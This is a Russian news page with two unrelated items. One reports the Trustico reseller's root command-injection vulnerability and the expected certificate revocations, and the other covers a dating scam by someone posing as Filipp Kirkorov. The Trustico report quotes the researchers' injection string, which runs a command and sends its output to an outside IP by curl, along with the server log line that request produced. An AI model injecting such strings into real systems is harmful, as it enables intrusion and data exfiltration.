Все сертификаты Trustico отзовут из-за полной компрометации сервера

Все сертификаты Trustico отзовут из-за полной компрометации сервера

Все сертификаты Trustico отзовут из-за полной компрометации сервера

Ранее освещенная история с проблемными сертификатами, полученными через реселлера Trustico, усугубилась новыми подробностями. В веб-интерфейсе сервиса была обнаружена уязвимость, позволяющая получить к серверу root-доступ.

Если раньше эксперты только гадали, что может быть причиной того, что Trustico решила отозвать выданные сертификаты, то сейчас ситуация начинает проясняться. Похоже, что такое решение связано с киберинцидентом, подорвавшим безопасность реселлера.

Сама брешь имеет довольно посредственный характер — допускается ввод без экранирования спецсимволов. Таким образом, если кто-либо введет в форме проверки сертификата шелл-операторы, они будут исполнены на серверы с правами root.

Об этой проблеме сообщили эксперты Manawyrm и Predrag Cujanović в Twitter.

В качестве примера специалисты приводят ввод следующую строку:

$(curl https://3.5.6.9/`id`)

Которая отправит на хост запрос:

3.5.6.9 - [01/Mar/2018:09:52:14 -0500] "GET /uid=0(root) HTTP/1.1" 404 209 "-" "curl/7.29.0"

Сообщается, что на данный момент сайт Trustico недоступен. Специалистам пока не удалось выяснить, позволяет ли данная брешь скомпрометировать приватные ключи сертификатов, однако одному из исследователей удалось найти в конфигурации секретный ключ для SSL-сертификта домена «*.trustico.com».

Следовательно, в ближайшее время DigiCert и Comodo отреагируют на инцидент, что, скорее всего, приведет к отзыву всех выданных через Trustico сертификатов.

Жительницу Саратовской области обманул лже-Киркоров

Мошенник, действовавший через мессенджер, похитил деньги у жительницы Балакова Саратовской области, представившись эстрадным певцом Филиппом Киркоровым. Переписка между женщиной и аферистом, выдававшим себя за известного артиста, продолжалась с ноября до начала января. Всё это время потерпевшая была уверена, что общается именно с исполнителем.

Об инциденте сообщило РИА Новости со ссылкой на пресс-службу УМВД по Саратовской области.

В ходе общения «Киркоров» активно осыпал собеседницу комплиментами и в итоге предложил организовать личную встречу. Обязательным условием стала оплата его проезда в Балаково. Злоумышленник щедро раздавал обещания, однако после того как женщина перевела 98,5 тыс. рублей, он перестал выходить на связь.

Поняв, что стала жертвой обмана, жительница Балакова обратилась в полицию. По её заявлению было возбуждено уголовное дело по статье о мошенничестве.

Схема так называемых фальшивых свиданий (Fake Date) остаётся одной из самых распространённых. Чаще всего злоумышленники используют сайты знакомств и мессенджеры. По итогам 2025 года ущерб от действий таких аферистов удвоился, а пики активности традиционно приходятся на 14 февраля и 8 марта.

К осени мошеннические схемы начали заметно усложняться. В частности, злоумышленники стали заманивать жертв на поддельные сайты по продаже билетов на концерты и другие мероприятия.

В ряде случаев подобных аферистов удаётся задержать. Так, в июле был арестован серийный мошенник, который обманывал молодых одиноких жительниц Санкт-Петербурга.

RSS: Новости на портале Anti-Malware.ru